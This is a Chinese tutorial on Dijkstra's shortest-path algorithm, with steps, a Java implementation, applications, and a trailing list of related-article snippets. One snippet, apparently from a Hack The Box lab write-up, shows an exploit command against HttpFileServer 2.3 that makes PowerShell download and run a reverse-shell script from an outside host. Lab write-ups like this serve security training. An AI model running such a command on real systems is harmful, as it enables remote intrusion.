单源最短路径算法 -- 迪杰斯科拉(Dijkstra)算法

1. 简介

        迪杰斯科拉(Dijkstra)算法是一种用于在加权图中找到最短路径的经典算法。它是由荷兰计算机科学家Edsger Wybe Dijkstra在1956年首次提出的,并以他的名字命名。这个算法特别适合于解决单源最短路径问题,即计算图中一个顶点到其他所有顶点的最短路径。

2. 核心原理

        Dijkstra算法的核心很简单,就是贪心算法的思想,它每次都选择当前已知的最短路径,并以此作为基础来更新其他顶点的最短路径估计。

注: Dijkstra算法只能用于图中所有权重为非负数,因为过程中会对路径上的权重进行累加比较。

3. 算法步骤

  1. 将源顶点的距离设为0,其他所有顶点的距离设为无穷大。
  2. 将源顶点加入已访问集合。
  3. 遍历未访问顶点,找出距离最短的顶点,将其加入已访问集合。
  4. 更新邻接顶点的距离,如果新计算的距离小于当前距离,则更新距离。
  5. 重复步骤3和4,直到所有顶点都被访问过。

4. 图解

5. 代码实现

class Graph {private int vertices;private LinkedList<Edge>[] adjacencyList;public Graph(int vertices) {this.vertices = vertices;adjacencyList = new LinkedList[vertices];for (int i = 0; i < vertices; i++) {adjacencyList[i] = new LinkedList<>();}}// 添加一个边public void addEdge(int source, int destination, int weight) {Edge edge = new Edge(source, destination, weight);adjacencyList[source].addFirst(edge);}public void dijkstra(int startVertex) {boolean[] visited = new boolean[vertices];  // 记录顶点是否被访问过int[] distance = new int[vertices];         // 记录起始顶点到其他顶点的最短距离// 初始化距离数组Arrays.fill(distance, Integer.MAX_VALUE);distance[startVertex] = 0;// 使用优先队列来维护待访问顶点PriorityQueue<Edge> pq = new PriorityQueue<>(Comparator.comparingInt(edge -> edge.weight));pq.offer(new Edge(-1, startVertex, 0));// 核心while (!pq.isEmpty()) {Edge edge = pq.poll();int currentVertex = edge.destination;// 如果当前顶点已经被访问过,则跳过if (!visited[currentVertex]) {visited[currentVertex] = true;// 更新相邻顶点的最短距离LinkedList<Edge> neighbors = adjacencyList[currentVertex];for (Edge neighbor : neighbors) {// 相邻顶点未被访问过if (!visited[neighbor.destination]) {int newDistance = distance[currentVertex] + neighbor.weight;// 如果新的距离小于当前距离,则更新距离if (newDistance < distance[neighbor.destination]) {distance[neighbor.destination] = newDistance;pq.offer(new Edge(currentVertex, neighbor.destination, newDistance));}}}}}printShortestPath(distance, startVertex);}// 打印结果private void printShortestPath(int[] distance, int startVertex) {System.out.println("Shortest path from vertex " + startVertex + " to all other vertices:");for (int i = 0; i < vertices; i++) {System.out.println("To vertex " + i + ": " + distance[i]);}}// 边static class Edge {int source;         // 源点int destination;    // 目标点int weight;         // 权重public Edge(int source, int destination, int weight) {this.source = source;this.destination = destination;this.weight = weight;}}
}public class DijkstraAlgorithm {public static void main(String[] args) {Graph graph = new Graph(6);graph.addEdge(0, 1, 4);graph.addEdge(0, 2, 3);graph.addEdge(1, 2, 1);graph.addEdge(1, 3, 2);graph.addEdge(2, 3, 4);graph.addEdge(2, 4, 3);graph.addEdge(3, 4, 2);graph.addEdge(3, 5, 1);graph.addEdge(4, 5, 6);graph.dijkstra(0); // Starting vertex is 0}
}

6. 应用场景

  1. 路由算法:在路由器中,Dijkstra算法帮助确定经过哪些中间节点可以最快地传输数据包。尽管现代互联网路由器采用的协议更为复杂,但这些协议的核心仍然是基于Dijkstra算法的。
  2. 交通规划:在城市交通网络中,通过Dijkstra算法计算最短路径,可以设计更有效的交通网络,减少拥堵并提高效率。尽管实际的规划功能可能会使用更复杂的算法来考虑交通状况、路况等因素,Dijkstra算法的基本思想仍然被广泛应用。
  3. 社交网络:在社交网络分析中,Dijkstra算法可以帮助识别人与人之间的最短联系链。例如,在一个社交网络中,想要找到连接两个特定用户的最短关系链时,Dijkstra算法能够派上用场。这在实现某些社交功能,如“你可能认识的人”推荐时非常有用。
  4. 通信网络设计:设计电话网络或有线电视网络时,Dijkstra算法可以帮助确定最佳的电缆或光纤布线路径,以最小化成本同时保证服务质量。这是通过计算中心节点(如交换机或分配器)到所有其他节点的最短路径来实现的。

7. 优缺点

优点:

  • 简单易懂,实现简单。
  • 适用于有向图和无向图。
  • 时间复杂度较低,在稀疏图中表现较好。

缺点:

  • 不能处理负权边。
  • 空间复杂度较高,毕竟需要存储所有顶点的最短距离。
  • 不适用于大规模图,效率较低。

8. 总结

           总而言之,Dijkstra算法是一种用于解决单源最短路径问题的算法,适用于带权有向图或无向图。算法的主要思想是贪心策略,即每次都寻找距离源点最近的一个顶点,然后更新其相邻顶点的距离。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/25146.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

保姆级讲解 Redis的理论与实践

文章目录 Redis学习笔记一 、Redis简介1.1 什么是Redis1.2 NoSQL1.3 NoSQL的类别1.4 总结&#xff1a;1.5 Redis 描述1.6 Redis的特点1.7 Redis的应用场景1.8 Redis总结 二、Redis安装2.1 Redis官网2.2 Redis 安装2.3 安装gcc2.4 安装Redis2.5 安装到指定的位置 三 、Redis启动…

深入理解C语言:main函数的奥秘

在C语言中&#xff0c;main函数是每个程序的入口点&#xff0c;起着至关重要的作用。本文将深入探讨main函数的工作原理&#xff0c;包括其参数、返回值、以及如何从main启动程序的执行。通过实际代码示例&#xff0c;读者将更深入地理解main函数在C语言编程中的核心地位。 第一…

安装 JDK 17

安装包 百度网盘 提取码&#xff1a;6666 安装步骤 双击下载得到的安装包&#xff0c;开始安装&#xff1a; 正在安装&#xff1a; 安装完成&#xff1a; 安装路径下&#xff0c;多出来了很多新的内容。安装文件夹所包含的内容及作用&#xff1a; src 是 JDK 的源码包。类库…

【vue实战项目】通用管理系统:图表功能

目录 前言 1.概述 2.数据概览页 2.1.柱状图 2.2.折线图 2.3.地图 前言 本文是博主前端Vue实战系列中的一篇文章&#xff0c;本系列将会带大家一起从0开始一步步完整的做完一个小项目&#xff0c;让你找到Vue实战的技巧和感觉。 专栏地址&#xff1a; https://blog.csd…

Golang | Leetcode Golang题解之第134题加油站

题目&#xff1a; 题解&#xff1a; func canCompleteCircuit(gas []int, cost []int) int {for i, n : 0, len(gas); i < n; {sumOfGas, sumOfCost, cnt : 0, 0, 0for cnt < n {j : (i cnt) % nsumOfGas gas[j]sumOfCost cost[j]if sumOfCost > sumOfGas {break}…

openai 前员工释放出关于AGI的前世今生和未来发展趋势的详细报告

目录 1.引言2.AGI的临近3.投资与工业动员4.国家安全与AI竞赛5.技术挑战与机遇6.项目与政策7.结语8.原文PDF链接PS.扩展阅读ps1.六自由度机器人相关文章资源ps2.四轴机器相关文章资源ps3.移动小车相关文章资源 1.引言 2024年&#xff0c;我们站在了一个全新的科技前沿。在这篇文…

如何做好电子内窥镜的网络安全管理?

电子内窥镜作为一种常用的医疗器械&#xff0c;其网络安全管理对于保护患者隐私和医疗数据的安全至关重要。以下是一些基本原则和步骤&#xff0c;用于确保电子内窥镜的网络安全&#xff1a; 1. 数据加密 为了防止数据泄露&#xff0c;电子内窥镜在传输患者图像数据时应采取有…

Docker的资源限制

文章目录 一、什么是资源限制1、Docker的资源限制2、内核支持Linux功能3、OOM异常4、调整/设置进程OOM评分和优先级4.1、/proc/PID/oom_score_adj4.2、/proc/PID/oom_adj4.3、/proc/PID/oom_score 二、容器的内存限制1、实现原理2、命令格式及指令参数2.1、命令格式2.2、指令参…

htb-window-4-Optimum-HttpFileServer 2.3

nmap exploit-HttpFileServer 2.3 生成ps1反弹shell 模拟漏洞案例的请求 python 49125.py 10.10.10.8 80 "c:\windows\SysNative\WindowsPowershell\v1.0\powershell.exe IEX (New-Object Net.WebClient).DownloadString(http://10.10.16.5/reverse.ps1)"获取flag s…

selenium-java自动化教程

文章目录 Selenium支持语言WebDriver 开始使用chromedriver模拟用户浏览访问模拟点击事件关闭弹窗&#xff0c;选中元素并点击 获取页面文本结语 Selenium Selenium是一个自动化测试工具&#xff0c;可以模拟用户操作web端浏览器的行为&#xff0c;包括点击、输入、选择等。也可…

Linux---进程/磁盘管理

文章目录 目录 文章目录 一.Linux中进程的概念 二.显示系统执行的进程 2.1: ps 命令 2.2 top 命令 三.终止进程 四.磁盘分区 一.Linux中进程的概念 在Linux中&#xff0c;进程是指操作系统中正在执行的程序的实例。每个进程都由操作系统分配了独立的内存空间&#xff0c;用于…

[数据集][目标检测]足球场足球运动员身份识别足球裁判员数据集VOC+YOLO格式312张4类别

数据集格式&#xff1a;Pascal VOC格式YOLO格式(不包含分割路径的txt文件&#xff0c;仅仅包含jpg图片以及对应的VOC格式xml文件和yolo格式txt文件) 图片数量(jpg文件个数)&#xff1a;312 标注数量(xml文件个数)&#xff1a;312 标注数量(txt文件个数)&#xff1a;312 标注类别…

调查显示各公司在 IT 安全培训方面存在差距

网络安全提供商 Hornetsecurity 最近进行的一项调查显示&#xff0c;许多组织的 IT 安全培训存在严重缺陷。 这项调查是在伦敦举行的 Infosecurity Europe 2024 期间发布的&#xff0c;调查发现 26% 的组织没有为其最终用户提供任何 IT 安全培训。 这些调查结果来自世界各地的…

阿里云活动推荐:AI 应用 DevOps 新体验

活动简介 阿里云新活动&#xff0c;体验阿里云的云效应用交付平台。体验了下&#xff0c;总体感觉还不错。平台把常规的开发过程封装成了模板&#xff0c;部署发布基本都是一键式操作&#xff0c;并且对自定义支持的比较好。 如果考虑将发布和部署搬到云上&#xff0c;可以玩一…

Directory Opus 13.6 可用的apk文件右键菜单脚本

// apk文件的右键经过adb安装的脚本,可以在多个设备中选择function OnClick(clickData) {try {// 检查是否选中了文件if (clickData.func.sourcetab.selected_files.count 0) {DOpus.Output("没有选中任何文件");return;}// 获取选中的文件名var selectedFile clic…

JSTL知识点讲解与配置

JSTL&#xff08;JavaServer Pages Standard Tag Library&#xff09;是Java EE平台中的一个标准库&#xff0c;提供了一组用于在JSP&#xff08;JavaServer Pages&#xff09;中简化和标准化常见任务的标签。这些标签封装了很多常见的JSP功能&#xff0c;可以使得JSP页面更加简…

天工开物 #14 分析时序数据:从 InfluxQL 到 SQL 的演变

近年来&#xff0c;时序数据的增长是 Data Infra 领域一个不容忽视的趋势。这主要得益于万物互联带来的自然时序数据增长&#xff0c;以及软件应用上云和自身复杂化后的可观测性需求。前者可以认为是对联网设备的可观测性&#xff0c;而可观测性主要就建构在设备或应用不断上报…

【C#】WinForm关闭新(二级)界面使主程序关闭

参考视频&#xff1a;https://www.bilibili.com/video/BV1JY4y1G7jo?p14&vd_source1c57ab1b2e551da5b65c0dfb0f05a493 1.背景介绍 主程序界面&#xff0c;点击弹出二级界面&#xff08;同时隐藏主界面&#xff09;&#xff0c;不做任何设置&#xff0c;这时关闭二级界面…

Java基础_Stream流

Java基础_Stream流 Stream流的简单使用Stream流的获取Stream流的中间方法Stream流的终结方法综合练习数字过滤字符串过滤并收集自定义对象过滤并收集 来源Gitee地址 Stream流的简单使用 public class StreamDemo01 {public static void main(String[] args) {/*** 创建集合添加…

Ubuntu虚拟机使用纯命令行对根分区进行扩展

Ubuntu虚拟机使用纯命令行对根分区进行扩展 前排提示 因为Ubuntu再安装时&#xff0c;根分区是没有使用LVM进行磁盘管理的&#xff0c;所以如果想扩展根分区&#xff0c;我们不得不使用另外一种暴力的方法。简单来说就是利用fdisk删除原来的根分区再基于原来的起始块号重新建…